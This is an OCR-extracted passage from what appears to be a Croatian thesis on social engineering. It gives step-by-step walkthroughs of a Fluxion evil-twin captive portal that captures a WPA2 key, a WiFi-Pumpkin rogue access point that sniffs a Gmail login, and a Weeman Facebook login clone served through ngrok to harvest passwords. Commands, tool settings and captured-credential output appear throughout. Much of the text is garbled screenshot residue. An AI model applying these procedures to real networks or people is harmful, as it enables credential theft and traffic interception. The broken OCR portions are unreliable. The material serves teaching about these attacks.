[ ]

Slika 10: Prikaz da nam je lozinka uspjesno otkrivena
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4.1.3. Provedba napada koriStenjem programa Fluxion

KoriStenje programa Fluxion zapocinjemo tako da koriSteno bezi¢no sucelje postavimo u
monitor nacin rada kako je prethodno opisano. Sam program pokre¢emo u terminalu naredbom

,..[fluxion.sh,,.

- —_ - —— e — B &

. ~/Desktop/fluxion-3.10# ./fluxion.sh |

Slika 11: Pokretanje programa Fluxion

Nakon $to je program uspje$no pokrenut otvori se izbornik odabira jezika, te smo odabrali

engleski jezik.

luxion Is The Future >

Select your language

cestina
Deutsch
EAANV KA
English
Espafol
francais
it italiano
pl Polski
pt-br / Portugués-BR
ro / Romana
sk / slovencina
sl / Slovenscina
tk / Tiurk
zh / B X

cs
de
el
en
es
fr

Ny 7y g I N S S N

1
2
3
4
5
6
7
8

Slika 12: Pocetni izbornik programa Fluxion za odabir jezika

U sljede¢em koraku nudi nam se izbornik za odabir bezi¢nog sucelja koje ¢emo koristiti.

Odabiremo onaj koji smo prethodno stavili u monitor nacin rada.
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* Select a wireless interface

1 wlane@ [+] Qualcomm Atheros QCA9377 802.1llac Wireless Network Adapter (rev

2

fluxion@kaliLinuxServer ~ D

Slika 13: Izbornik programa Fluxion za odabir bezi¢nog sucelja

Odabirom Zeljenog sucelja program javlja poruku ukoliko je sve u redu, odnosno da li je to

sucelje ispravno postavljeno u monitor nacin rada kako bi se moglo nastaviti s napadom.

fluxion@kaliLinuxServer ~ 1

* Starting monitor interface...
ks

Slika 14: Poruka programa Fluxion kako je odabrano sucelje ispravno i spremno za nastavak napada

Odabir kanala na kojem ¢e se prisluskivati promet. Mi odabiremo sve kanale u rasponu
frekvencija od 2,4GHz do 5GHz.

* Select a channel to monitor

All channels (2.4GHz)

All channels (5GHz)

All channels (2.4GHz & 5Ghz)
Specific channel(s)

fluxion@kalilLinuxServer ~ ﬂ]

Slika 15: Izbornik programa Fluxion koji ¢e se kanali prisluskivati
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Zatim se pokrece prisluskivanje prometa, kojih sve bezicnih mreza ima u krugu od
zlonamjernog racunala. Kada se ugleda ciljana Zzrtva, odnosno njena bezicna mreza,

kombinacijom tipki CTRL+C se zaustavlja skeniranje.

fluxion@kaliLinuxServer ~ 3

Starting scanner, please wait...
* Five seconds after the target AP appears, close the FLUXION Scanner.

Slika 16: Pokretanje skenera za trazenje bezi¢nih mreza u okolini

Kada smo ugledali ciljanu mrezu, testna bezi¢na mreza naziva SWEHYil, zaustavljamo

skeniranje 1 nastavljamo s izvodenjem napada.

CH 161 [ Elapsed: B = 10 2018-07-21 11:54
BSSID FUE Beacons #lata, #/= CH ME EWC CIPHER AUTH ESSID HAMNLFACTURER
CC:7 ; -4 5 0 0 1 54e, WPAZ CCHP  PSE sWEHYil zte corporation

STATION PUR  Rate  Lost  Frames Probe

Slika 17: Pronadena je ciljana mreza te se zaustavlja skeniranje

Zatim nam program nudi popis svih mreZa koje je uspio uhvatiti, a mi odabiremo nasu Zrtvu.

WIFI LIST
ESSID QLTY PWR STA CH SECURITY BSSID

001 SWEHYil 80% -66 0 1 WPA2 CC:7B:35:2F:58:CA

fluxion@kaliLinuxServer  ~ 1[]

Slika 18: Popis mreza koje je program Fluxion uspio skenirati
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Budu¢i da smo handshake uhvatili na naéin opisan u prethodnom poglavlju, taj dio napada

preskacemo i idemo direktno na Captive Portal napad.

Captive Portal predstavlja prozore koji se pojavljuju kada se zelimo prikljuciti na nekakvu

javnu pristupnu to¢ku. To moze biti ,,Uvjeti koriStenja“ prozor gdje moramo kliknuti da

cen e

cey e

nekakav kratki video prije nego dobijemo pristup internetu. Sve navedeno se naziva Captive
Portal prozori. Captive Portali su krivci za niz sigurnosnih problema, posebno kada je rije¢ o
https web-stranicama. Https ima za cilj sprijeciti presretanje prometa, izmjenu i lazno
predstavljanje trece strane. A Captive Portali upravo funkcioniraju na taj nacin, presrecu i
mijenjaju vezu izmedu korisnika i web-stranice koju se pokusava posjetiti. Pristupom nekim
stranicama osiguranim https protokolom, web preglednik ¢e izbaciti upozorenje o nepouzdanoj
vezi te laznim certifikatima za tu stranicu. No, upravo takva neobjasnjiva upozorenja za stranice
koje su do tada bile sigurne, mogu uzrokovati da korisnik izignorira upozorenje o sigurnosti.
[38]

* Select a wireless attack for the access point

"SWEHY1il" / WPA2
1
-CC:7B:35:2F:58:CA (zte corporation

Creates an "evil twin" access point.
Acquires WPA/WPA2 encryption hashes.

fluxion@kaliLinuxServer  ~ 1[]

Slika 19: Izbornik programa Fluxion za odabir Captive Portal napada ili Handshake Snopper napada

Odabiremo bezi¢no sucelje za provedbu napada, mi odabiremo wlan0 sucelje koje je u monitor

na¢inu rada.
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Select an interface for the captive portal.

etho [+] Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express G
wlano [+] Qualcomm Atheros QCA9377 802.1lac Wireless Network Adapter (rev

1
2
3
4

fluxion@kaliLinuxServer ~ ZD

Slika 20: Odabir sucelja za provedbu Captive Portal napada

Sljedeci korak nam je odabir nacina na koji ¢e se stvoriti laZna pristupna toc¢ka, odabiremo prvi,
preporuceni nacin. Rije¢ je o hostapd nacinu. Hostapd je vrsta deamon programa koji je
pokrenut u prostoru memorije namijenjenoj korisnickim aplikacijama (eng. user space), a sluzi
za stvaranje bezi¢ne pristupne tocke i autentifikacijske posluzitelja. Deamon program je vrsta

programa kojem je svrha raditi u pozadini, obavljati nekakav zadatak, bez interakcije korisnika.

* Select an access point service

"sWEHY11l" / WPA2
1
-CC:7B:35:2F:58:CA (zte

Rogue AP - hostapd (
Rogue AP - airbase-ng (slow

fluxion@kaliLinuxServer ~ 1[]

Slika 21: Odabir hostapd naéina stvaranja lazne pristupne tocke

Budu¢i da je handshake uhvacen, odabiremo unos putanje do .cap datoteke u kojoj je spremljen.
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Select a method to retrieve the handshake

"SWEHYil" / WPA2
1
-CC:7B:35:2F:58:CA (zte corporatioil

1 Path to capture file
2 Handshake directory (rescan)
3

fluxion@kaliLinuxServer ~ 1]

Slika 22: 1zbornik za hvatanje handshake-a ili upis putanje do ve¢ uhvaéenog

Unosimo putanju gdje smo prethodno spremili .cap datoteku sa uhva¢enim handshake-om.

*  Enter path to handshake file (Example: /.../dump-01l.cap)

Absolute path: /root/Desktop/fluxion-3.10/attacks/Handshake Snooper/handshakes/TestF«Ol.cad]

Slika 23: Unos putanje do .cap datoteke u kojoj je spremljen handshake

Budu¢i da smo handshake uhvatili koriste¢i se aircrack-ng skupinom alata odabiremo i

aircrack-ng metodu za verifikaciju handshake-a.

* Select a method of verification for the hash

"SWEHYil" / WPA2
1
-CC:7B:35:2F:58:CA (zte corporation

pyrit verification (
aircrack-ng verification (unreliable)
3

fluxion@kalilLinuxServer ~ ZD

Slika 24: 1zbornik programa Fluxion gdje biramo metodu verifikacije uhva¢enog handshake-a
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Zatim odabiremo SSL certifikat za Captive Portal napad. Mi odabiremo da nema SSL
certifikata. SSL (eng. Secure Sockets Layer) je transportni TCP/IP protokol za odrzavanje
sigurne komunikacije na internetu izmedu klijenta i posluzitelja. Koristi algoritme za enkripciju
kako bi svi razmijenjeni podaci ostali necitljivi napadacu. SSL certifikat je dio programskog
koda koji se instalira na posluzitelju te omogucuje sigurnost komunikacije u skladu sa SSL
protokolom. Za prepoznavanje sigurne web-stranice, odnosno da li je zaSticena SSL

certifikatom, prepoznat ¢emo po njenom URL, koji ¢e zapoceti sa https://. [39]

* Select SSL certificate source for captive portal.

1 Create an SSL certificate

2 Detect SSL certificate (search again)
3' None (disable SSL)

4

fluxion@kaliLinuxServer ~ ﬂD

Slika 25: Izbornik programa Fluxion za izbor SSL certifikata

Odabiremo emulated za vrstu internet povezivanja. Rije¢ je o nacinu ponaSanja upravo kao i

ciljana mreza, djelotvorno potpuna replikacija druge mreze.

* Select an internet connectivity type for the rogue network.

1 disconnected ( )
2 emulated
3

fluxion@kaliLinuxServer ~ ﬂ]

Slika 26: 1zbornik programa Fluxion za odabir tipa povezivanja na internet za laznu pristupnu tocku

Zatim nam se nudi izbornik za odabir jezika za Captive Portal. Odabrati ¢emo engleski jezik,

te se time aktivira napad.
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Pokretanjem napada otvaraju se sljede¢i prozori koji prikazuju razliCite informacije o

novostvorenoj pristupnoj tocki:

a
-ium,

“tware/dhopd

+B1:18:1R0R

Slika 27: Prozor za DHCP zahtjeve

EFminiFahEDmethnFHS:: dom, query, B0 IN A 132.1

Slika 28: Prozor za DNS zahtjeve

POIMT:

2F 158
nel PR 1

. .
Lol SRR

CLIENTS OMLIME:

Slika 29: Prozor za izvje$cée o statusu
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FLUXION AP Jammer Service [sSWEHYil] - O

Slika 30: Prozor deautentifikacije korisnika sa originalne pristupne tocke

Sljedece slike prikazuju $to se odvija na zrtvinom ureduju, u ovom slucaju rije¢ je o pametnom
telefonu koji je ve¢ bio spojen na SWEHYil mrezu. Prva slika prikazuje Wi-Fi postavke
mobilnog uredaja. Zrtva to ne primjeéuje, nema nikakvih naznaka da je odspojena sa originalne
pristupne tocke i spojena na laznu. Sve dok sama zrtva ne ude u Wi-Fi postavke ne primjeéuje
promjene. Vidimo da nam je Zrtva spojena na laznu pristupnu tocku koja se identi¢no zove, ali
vidimo i da je takva pristupna toc¢ka otvorenog tipa, dok je zrtva odspojena sa svoje originalne

pristupne tocke.

Wi-Fi mreze
sWEHYi1
Spojeno
SWEHYi1
4 |

Spremljeno, Zasticeno

Slika 31: Prikaz Wi-Fi postavki na zrtvinom uredaju

Kada zrtva ude u internet preglednik, npr. ovdje vidimo prikaz ulaska na web-stranice Odjela
za forenzi¢ne znanosti, pokaze se prozor kao na sljede¢oj slici. Osoba koja nema tehnoloskog

znanja i koja ne posumnja u ovo, upisuje lozinku.
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forenzika.unist.hr O

SWEHYi1 (CC:7B:35:2F:58:CA)

Authentication required for
Internet access.

WPA Key:
EE -

¢ Connect

Slika 32: Prikaz Captive Portala na internet pregledniku zrtvinog uredaja

Zrtvi se nakon §to utipka lozinku pojavljuje sljedeéi prozor koji nastavlja s radom, &im se na

napadac¢evom uredaju prekine izvrSavanje napada.

forenzika.unist.hr O

Please wait while the password

is verified.

Slika 33: Prikaz na Zrtvinom uredaju nakon $§to unese to¢nu lozinku

A na napadacevom racunalu se dogada sljedece:

40



Slika 35: Prikaz prozora DNS zahtjeva nakon $to se zrtva spojila na laznu pristupnu tocku

POIMT:

.
| .

+
]

) +
R R R

CLIEMTS OMLIME:

Slika 36: Prozor za izvje$ce o statusu
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Nakon §to je napad proveden, Zrtva je ponovno automatski spojena na originalnu pristupnu

tocku, a napadacu se pokaze uhvacéena lozinka.

Wi-Fi mreze
SWEHYi1
& Spojeno

Slika 37: Nakon provedenog napada lazna pristupna tocka je nestala, te je Zrtva ponovno vrac¢ena na
originalnu

FLUXION AP Authenticator @ @ ©

[00:00:00] 170 keys tested (205,51 kfs)

Time left: 0 secomds

8d
B
&

BUSRE &3

g DERRK 98

M AZR3E
SNER B2
SERE

H BESR RE
ERNR ER
TE83 &/
HMEN BR

3|79
iF A
CA 5
98 I
BB EC
F4 24

SIng !
o ROEE &8
d RiEzz B
R SRS g8
B B&E3% B3

3
A
3
A
*
&
R
®
B

Slika 38: Program nam javlja da je lozinka uspje$no uhvacéena
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Napad je gotov, program sam sve zatvori.

luxion Is The

Disabling monitoring interface
Restoring tput
Deleting files

Thank you for using FLUXION

Slika 39: Nakon zavrSenog napada program sve pokrenute procese zaustavlja i gasi

4.2. PROBLEM LAZNIH PRISTUPNIH TOCKI

Dvije su glavne vrste mrezZa, bezi¢na kada su racunala spojena bez fizicke veze, te zi¢na kada
su racunala fizicki povezana mreznim kabelima. Da bi se vise racunala bezi¢no povezalo u
mrezu potreban je dodatni uredaj koji ¢e vrsiti usmjeravanje komunikacije medu racunalima, a
to je pristupna tocka (eng. Access Point) . BeZicna mreza je mnogo viSe ranjivija u usporedbi
sa zi¢nom, te se mogu provesti i aktivni i pasivni napadi. Pasivni napadi su takva vrsta napada
koji ne utjeCu na ponaSanje mreze, ve¢ jednostavno njuskaju po mrezi i mogu dovesti do
aktivnih napada. Aktivni napadi utjecu na normalno ponaSanje mreze, a najpoznatiji SU man-
in-the-middle napad i denial-of-service napad. Lazna pristupna to¢na je savrSena za provedbu
napada socijalnog inZenjeringa. Rije¢ je o uredaju sa istim standardima koji koriste normalna
racunala 1 uredaji, te se legitimni korisnik poveze na laznu pristupnu tocku buduéi da ne zna
razliku izmedu legitimne 1 lazne. Napadaci ovakvim napadom ne moraju gubiti vrijeme na
probijanje lozinke, Zrtva je ve¢ autentificirana na mrezi i1 aktivna, stoga napada¢ samo moze
slusati promet bez znanja zrtve o tom. Lazne pristupne tocke mogu biti rasporedene svugdje,
od kolodvora, bolnica, fakulteta. Kada su takve tocke nezasti¢ene s lozinkom, veliki broj ljudi
¢e se pokusati spojiti upravo na njih. [40]

Ovakav tip napada iskoriStava ljudsku Zelju za besplatnim pristupom internetu. Softver
potreban za provedbu je dostupan besplatno na internetu, a mnogo podataka prolazi kroz

bezi¢ne mreze u obliku nekriptiranih tekstualnih nizova. [41]
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4.2.1. WiFi-Pumpkin

WiFi-Pumpkin je alat za stvaranje lazne pristupne tocke, prosljedujuci legitiman promet za i od
zrtve. Pruza uslugu beZi¢nog spajanja na internet, ali prisluSkuje promet svih spojenih na laznu
pristupnu tocku. Rije¢ je o vrlo kompletnom okviru za pregled Wi-Fi sigurnosti, a popis
znacajki je velik: od stvaranja lazne pristupne tocke, deautentifikacijskih napada na klijentove

pristupne tocke, napadi Windows azuriranjem, hvatanje slika u prometu i dr. [42]

4.2.2. Provodenje napada koristenjem programa WiFi-Pumpkin

Za uspjesno koriStenje programa potrebna su nam dva bezi¢na sucelja. Jedno ¢emo koristiti za
stvaranje lazne pristupne tocke, a drugo Ce biti spojeno na internet i koristit ¢e nam za pruzanje

internet usluge laznoj pristupnoj tocki.

Koristenjem naredbe ,.ifconfig”“ mozemo vidjeti aktivne konfiguracije mreznih sucelja
odredenog sustava. ethO je Ethernet sucelje. 10 je specijalno mrezno sucelje koje sustav koristi

za komunikaciju sa samim sobom. wlan0 je bezi¢no sucelje.

Za potrebe provodenja napada koristimo ethO sucelje koje ¢e nam sluZiti za spajanje na internet,

te bezi¢no wlan0 sucelje koje ¢e nam sluziti za laznu pristupnu tocku.

:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.10 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::372c:7278:44f3:31a5 prefixlen 64 scopeid 0x20<link>
ether 54:ab:3a:cl:d3:4a txqueuelen 1000 (Ethernet)
RX packets 12 bytes 1848 (1.8 KiB)
RX errors © dropped © overruns © frame ©
TX packets 14 bytes 1366 (1.3 KiB)
TX errors © dropped © overruns © carrier ® collisions ©

o: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1l@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 457 bytes 71329 (69.6 KiB)
RX errors © dropped © overruns © frame ©
TX packets 457 bytes 71329 (69.6 KiB)
TX errors © dropped © overruns © carrier @ collisions ©

lan®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.4 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::4249:fff:fe5a:9fa9 prefixlen 64 scopeid ©0x20<link>
ether 40:49:0f:5a:9f:a9 txqueuelen 1000 (Ethernet)
RX packets 144 bytes 150085 (146.5 KiB)
RX errors © dropped © overruns © frame ©
TX packets 64 bytes 6728 (6.5 KiB)
TX errors © dropped © overruns © carrier ® collisions ©

Slika 40: Prikaz aktivnih mreznih sucelja u sustavu
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Nakon upisa naredbe za pokretanje programa u terminalu, otvara nam se GUI sucelje, Sto je i
jedna od znacajki programa. Graficko korisni¢ko sucelje (eng. Graphical user interface) koristi
prednosti racunalne grafike kako bi rad na raCunalu i koriStenje programa bilo jednostavnije i

lakse. Na slici ispod vidimo kako izgleda pocetni zaslon odmah nakon pokretanja programa.

WiFi-Pumpkin v0.8.5 © ® 0O

Slika 41: Pocetni zaslon programa WiFi-Pumpkin

Kada odemo u odjeljak za postavke vidimo da mozemo mijenjati i postavljati razlicite znacajke
laZne pristupne toc¢ke. Postavili smo njezin naziv u ,,FreeWifi“, te smo iskljucili znacajku za
postavljanje lozinke na tu mreZu, odnosno nasa mreza je otvorenog tipa. Mozemo vidjeti i da
je veé postavljeno ethO sucelje za povezivanje na internet, te wlan0 sucelje za stvaranje lazne

pristupne tocke.
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% HTTP-Requests % HTTP-Authentic

O BDFPr g O Dns

Plugin: 15-AP:

Slika 42: Prikaz osnovnih postavki

Klikom na Start pokrenuli smo nasu pristupnu tocku. Na pocetnom zaslonu mozemo stalno
vidjeti status pristupne tocke, koliko je vremenski aktivna i dr. Kada se netko spoji na nasu
laznu pristupnu to¢ku, u donjem kutu pocetnog zaslona vidimo prikaz broja spojenih Kklijenata,

a u tablici moZemo vidjeti i o kojem je uredaju rijec, njihove IP 1 MAC adrese.
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Slika 43: Prikaz podataka o spojenoj zrtvi

U odjeljku Activity-Monitor mozemo pratiti na koja se sve Web mjesta spaja zrtva.

20> 31.147.204.46 ] GET webcsi.unist.hr/favicon.ico

Status-AP:

Slika 44: Prikaz Activity-Monitor odjeljka

Takoder, u odjeljku Images-Cap mozemo vidjeti koje je slike program uspio uhvatiti sa web-

stranica na koje se zrtva spajala.
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Slika 45: Prikaz Images-Cap odjeljka

U Activity-Monitor odjeljku vidimo da je Zrtva pristupila Gmail stranici te koju je email adresu

koristila za prijavu.

Connection: Plugin: Status-AP: Clients: 1

Slika 46: Vidimo da je zrtva posjetila Gmail stranicu

U terminalu se prikazuju svi podaci o tome koje stranice Zrtva posjecuje, koja korisni¢ka imena
i lozinke koristi. Kada smo u Activity-Monitor odjeljku vidjeli da se Zrtva spaja na Gmail
uslugu, u terminalu potraZimo je li uhvacena 1 lozinka. Na slici ispod vidimo u moru podataka

1 uhvacéeno korisni¢ko ime 1 lozinku.

N27-hHpIY10WuEUV1KaULENBWwtIf juRHN7ZAROiHRRRZRCBUNM922gtXzFTvzQ61
tf-8qolRfazké 10sEOhdU2310sWXRpkHFpF3-P208MjhxN22ZjGZ30EhAS Il NEIE

lam93%40gmail. com&Passwd=testnazaporkalal ISR EVER S ST hid o L e i

[] u

Slika 47: Uhvacena lozinka i email
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Po zavrsetku izvrSavanja programa u url.log datoteci moZzemo pronaci popis svih web mjesta

koje je zrtva posjetila, izlistano redoslijedom po datumu i vremenu pristupanja.

2018-07-27 16:29:31,710 : [ 10.0.0.20 > 31.147.204.103 ] GET forenzika.unist.hr/

2018-07-27 16:29:32,694 : [ 10.0.0.20 = 31.147.204.103 ] GET forenzika.unist.hr/

2018-07-27 16:29:34,715 : [ 10.0.0.20 > 143.204.98.154 ] GET promo.webpayments.closeby.internet.apps.samsung.com/proxy/
2018-07-27 16:30:03,224 : [ 10.0.0.20 > 31.147.204.46 ] GET webcsi.unist.hr/moodle/

2018-07-27 16:30:03,504 : [ 10.0.0.20 > 31.147.204.46 ] GET webcsi.unist.hr/favicon.ico

2018-07-27 16:30:16,673 : [ 10.0.0.20 > 216.58.214.206 ] GET gmail.google.com/mail/

2018-07-27 16:30:16,937 : [ 10.8.0.20 > 216.58.214.206 ] GET gmail.google.com/mail/

2018-07-27 16:30:16,986 : [ 10.0.0.20 > 143.204.98.76 ] GET promo.webpayments.cleoseby.internet.apps.samsung.com/proxy/p
2018-07-27 16:30:17,059 : [ 10.8.0.20 > 216.58.214.206 ] GET gmail.google.com/mail/

2018-07-27 16:30:17,493 [ 10.0.0.20 > 216.58.214.205 | GET cuentas.google.com/Servicelogin?service=mail&passive=true&

cobx&nu1—S&btmpl—mnblle&emr 1&0sid=1

2018 07-27 16:30:17,649 : [ 10.8.0.20 > 216.58.214.205 | GET cuentas.google.com/Servicelogin?

=true&continue= https93A92F$2Fma11 google.com%2Fmail%s2F&ss=1&scc=1&1tmpl=ecobx&nui=5&btmpl=mobile&emr=1&o0sid=1

2018 07-27 16:30:18,798 : [ 10.0.0.20 > 216.58.214.195 ] GET webssl.gstatic.com/accounts/ui/avatar_2x.png

2018-07-27 16:30:18,802 : [ 216.58.214.206 ] GET gmail.google.com/mail/images/cleardot.gif?t=1532701819172
2018-07-27 16:30:25,831 : [ 216.58.214.206 | GET gmail.goegle.com/mail/gxlu?email=ivana.kelam93%48gmail.comi
2018-07-27 16:30:25,832 : [ 216.58.214.206 ] GET gmail.google.com/mail/images/cleardot.gif?t=1532701826381
2018-07-27 16:30:26,569 : | 216.58.214.206 | GET gmail.goegle.com/mail/gxlu?email=ivana.kelam93%48gmail.comi
2018-07-27 16:30:26,625 : [ 216.58.214.206 ] GET gmail.gongle.com/mail/gxlw

2018-07-27 16:30:34,294 : [ 16. 216.58.214.206 | GET gmail.goegle.com/mail/gxlu?email=ivana.kelam93%48gmail.comi
2018-07-27 16:30:34,300 : [ 216.58.214.206 ] GET gmail.google.com/mail/images/cleardot.gif?t=1532701834845
2018-07-27 16:30:35,108 : [ 216.58.214.206 | GET gmail.goegle.com/mail/gxlu

2018-07-27 16:30:39,876 : [ 216.58.214.206 ] GET gmail.google.com/mail/gxlu?email=ivana.kelam93%40gmail.com
2018-07-27 16:30:46,714 : | 216.58.214.206 | GET gmail.goegle.com/mail/gxlu?email=ivana.kelam93%48gmail.comi
2018-07-27 16:30:46,727 : [ 216.58.214.206 ] GET gmail.google.com/mail/images/cleardot.gif?t=1532701847266
2018-07-27 16:30:47.601 : [ 21605802140206W1 GET amail.aoocale.com/mail/axlu

Slika 48: Prikaz url.log datoteke
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Takoder, u ImagesCap mapi spremljene su sve slike koje je program uspio uhvatiti prilikom

spajanja zrtve na razli¢ita web mjesta.
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WiFi-Pumpkin ~ logs | ImagesCap

Slika 49: Prikaz ImagesCap mape

49



4.3. PROBLEM DRUSTVENIH MREZA

Postoji rastu¢a povezanost izmedu drustvenih mreza i socijalnog inzenjeringa, zbog obilja

osobnih i poslovnih informacija koje se nalaze na tim drusStvenim mrezama. RazliCiti su

problemi koje su organizacije iskusile vezano uz drustvene mreze: zaposlenici koji dijele

previSe informacija, kako privatnih tako i poslovnih, gubitak povjerljivih informacija, te vec¢a

izloZenost spornim situacijama. Tu su jo$ naravno i gubitak u smislu smanjene produktivnosti

zaposlenika te povecan rizik izlaganja virusu ili malicioznom softveru. [43]

Najcesce zapazene ugroze organizacija mozemo podijeliti u tri grupe:

e reputacijske,

o

e pravne,

o

najtezi izazov je sacuvati reputaciju organizacije. Ona moZe biti naruSena
ukoliko se organizacija prikaze kao nesposobna, npr. ukoliko je preko drustvene
mreze napadac proSirio virus i na korisnike, partnere i ostale koji su u doticaju
sa organizacijom. Na druStvenim mreZzama je najceS$¢i oblik napada da se
korisnika navodi da odobri pristup osobnim podacima nekoj aplikaciji ili da se
klikne na poveznicu koja sadrzi maliciozni softver. Naposljetku, zaposlenici su
kljuéni za odrzavanje reputacije organizacije, i kao takvi najbolja prilika za

napadaca.

primarni pravni rizici ukljuCuju: privatnost, sigurnost, intelektualno vlasnistvo i
medijski sadrzaj. Bilo koja povreda navedenog koja proizlazi iz druStvenih
mreZa moze prisiliti organizaciju da preuzme pravnu odgovornost za nastalu
Stetu. Napadaci se mogu infiltrirati u drustvenu mrezu te manipulirati
zaposlenicima koji mogu otkriti povjerljive podatke. Napada¢ moze dovesti
organizaciju u problem povrede prava intelektualnog vlasnistva ukoliko objavi
informacije koje pripadaju drugoj organizaciji na drustvenoj mreZzi organizacije
zrtve. Osim toga, mogu otkriti poslovne tajne poslovnih partnera organizacije te

sve izloziti javno, §to ¢e organizaciju dovesti u druge razli¢ite pravne probleme.

e Operativne

o

koriStenje drustvenih mreza za poslovnu upotrebu predstavljaju veliki rizik za
cijeli sustav organizacije, budué¢i da zaposlenik koji bezazlenim klikom na

poveznicu preuzme maliciozni softver ugrozava cijelu organizaciju. [43]
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Razvojem drustvenih mreza socijalni inzenjering je postao jo§ veca opasnost, jer umjesto
napada na ciljanu tvrtku ili organizaciju, preko Facebook profila, Twitera i dr., Zrtvom mogu
postati obi¢ni ljudi, a vecina ljudi i ima nekakav profil na nekoj druStvenoj mrezi. Na prvi
pogled bezazlena lista prijatelja na drustvenoj mrezi moze dosta toga otkriti o korisniku. Osim
toga, postao je trend imati Sto vecu listu prijatelja, iako se vecina ljudi zapravo i ne poznaje. Na
drustvenim mrezama korisnici najces$¢e piSu Sto trenutno rade, kada su na putovanju, Sto
planiraju. Objavljuju fotografije koje sadrze i privatne podatke, prikaz ¢lanova obitelji,
interijera kuce. Sve to olakSalo je napadacima provedbu socijalnog inZenjeringa. Napadaci se
odluc¢e za zrtvu, prate ju preko druStvenih mreza, traZze potrebne podatke, a ¢ak uz pomoé
metapodataka iz samih slika moguce je do¢i i do to¢nih koordinata gdje je snimljena, te se iz

svega toga moze napraviti detaljna skica i plan napada. [44]

4.3.1. Weeman

Za prikaz na koji nac¢in napada¢ moze uhvatiti lozinku Zrtvine drustvene mreze, koristit ¢emo
program Weeman. Zrtva koja nije tehnologki upuéena, neée odmah ili uopée neée primijetiti
promjene na stranici druStvene mreze na koju se prijavljuje. Hvatanjem lozinke napada¢ moze

otkriti osobne informacije o Zrtvi.

Weeman je jednostavna Phython skripta koja stvara lazne web-stranice identi¢ne originalnima.

4.3.2. Provodenje napada koriStenjem programa Weeman

Prije pokretanja samog programa u terminalu smo upisali naredbu koju vidimo na sljedecoj
slici, a ona nam izlaze web posluzitelja naseg uredaja na port 80 na internet. Port u TCP/IP i
UDP mreZama predstavlja krajnju to¢ku logic¢ke veze, a broj porta oznacuje njegovu vrstu. Tako
se broj 80 koristi za HTTP promet. Ngrok je softver koji omogucuje pristup preko interneta

Web serveru koji se pokrece na lokalnom racunalu.

:~/Downloads# ./ngrok http 868

Slika 50: Naredba za postavljanje porta 80
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Kada se Ngrok softver pokrenuo, vidimo stanje, povezanost i ostale informacije.

{(Ctrl+C to quit)

IKelam (Plan: Free)

Connections L opn rtl rts p50 poe
8 0 0.00 0.00 0.00 0.00

Slika 51: Pokrenut softver Ngrok

Zatim krec¢emo sa pokretanjem programa Weeman. U terminalu upisujemo naredbu ,,chmod +x
weeman.py* koja jednostavno znaci da navedenu Python skriptu napravi u izvr$nu datoteku.

Zatim pokre¢emo sam program naredbom ,,python weeman.py*.

:~/weeman# chmod +x weeman.py
:~/weeman# pvthon weeman.py
[11:13:27] Running Weeman on linux ... (ALll good)

:: Weeman 1.3 (ArmWork)

(weeman )

Slika 52: Pokretanje Weeman programa
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Upisom naredbe ,,show* mozemo vidjeti koje atribute prima program i kako ih koristiti. Zatim

smo zapoceli sa naSim unosom.

e et url http://facebook.com — postavili smo da klonira Facebook druStvenu mrezu

e setaction_url http://967c8178.ngrok.io — postavili smo da se klonirana stranica pokrene
na nasem localhostu

e set port 8080 — postavili smo na port 80

e run — pokretanje izvrSenja naredbi.

(weeman ) : show

http://facebook.com
8080
action_url : 01235xx_ngrok.io
user_agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2227.0 Safari/537.36

(weeman : set url http://facebook.com
(weeman : set action url http://967c8178.ngrok.io
(weeman : set port 86080
(weeman : run
[11:14:29] Trying to get http://facebook.com
[11:14:29] Downloadng wepage ...
[11:14:40] Modifying the HTML file ...
[11:14:40] the HTML page will redirect to ref.html ...
£11:14:40] Starting Weeman 1.3 server on 0.0.0.0:8080

Slika 53: Naredbe za pokretanje napada

Kada je program javio da je sve postavljeno u redu, kliknemo na link http://967c8178.ngrok.io
1 vidimo da nam klonirana stranica izgleda identi¢no kako i originalna. Naravno, promjena se

jedino primijeti u gornjem lijevom vrhu stranice, gdje se upisuje URL stranice.
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http://facebook.com/
http://967c8178.ngrok.io/
http://967c8178.ngrok.io/

Facebook - prijava il registracija - Mozilla Firefox

x|+

2 Facebook - prijava i 1

€ O& ngrok o
5 Most Vistedv [fOffensive Security "\, Kall Linux \, Kall Docs . Kall Tools = Explot-DB W Aircrack-ng "\ Kall Forums %, NetHunter @ Getting Started
ponua sgu

facebook

F vas p je s drugimai RegISt"ra] se
razmjenu informacija. Besplatno e | uvijek ¢e ostati tako.

Datum rodenja

m o

2zensko musko

Registriraj se
Napravi stranicu 2a slavnu 0sobu, glazbeny grupu 1 poduzece.

asl) 4

Read static.xx fbedn.net

Slika 54: Prikaz kako izgleda klonirana stranica klikom na taj link

Na slici ispod vidimo jedinu promjenu na kloniranoj stranici.

Slika 55: Priblizeni prikaz URL polja na toj stranici

Nakon unosa korisni¢kog imena i lozinke na kloniranoj stranici u terminalu nam se pojavljuje

sljedece:
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[11:16:03] Connected : localhost

[11:16:03] localhost - sent POST request.

[11:16:083] lsd => AVoSh30G

[11:16:03] email => ivana.kelam93@gmail.com

[11:16:03]| pass => testnalozinka

[11:16:03] timezone => -1zu

[11:16:03] Llgndim => eyJ3Ijox0TIWLCJoIjoxMDgwLCIhdyI6MTkyMCwiYWgi0jEwWNTMsImMiOjI
afQ==

[11:16:03] lgnrnd => 021440 5aiP

[11:16:083] Llgnjs => 1532596508

[11:16:03] ab_test_data => AAHAVx/VOOAVOOHAOOAAAAAAHAAAHAAHAAAAHAAAh/7TWAAAAAAWEE
\

[11:16:03] locale => hr_HR

[11:16:83] Llogin_source => login_bluebar

[11:16:03] skstamp => eylyb3VuZHMiOjUsSInNN1ZWQi0iI4MzBjOT1ljZmY2NjVhNjRhMGEZY2ViZG
02YmJLNDIhMSISInNNLZWQyIjoiNDBmYTA20TIINDZjYTE2ZMTKOY2MAMmQXNTLhNjViMTYiLCJoYXNoIj
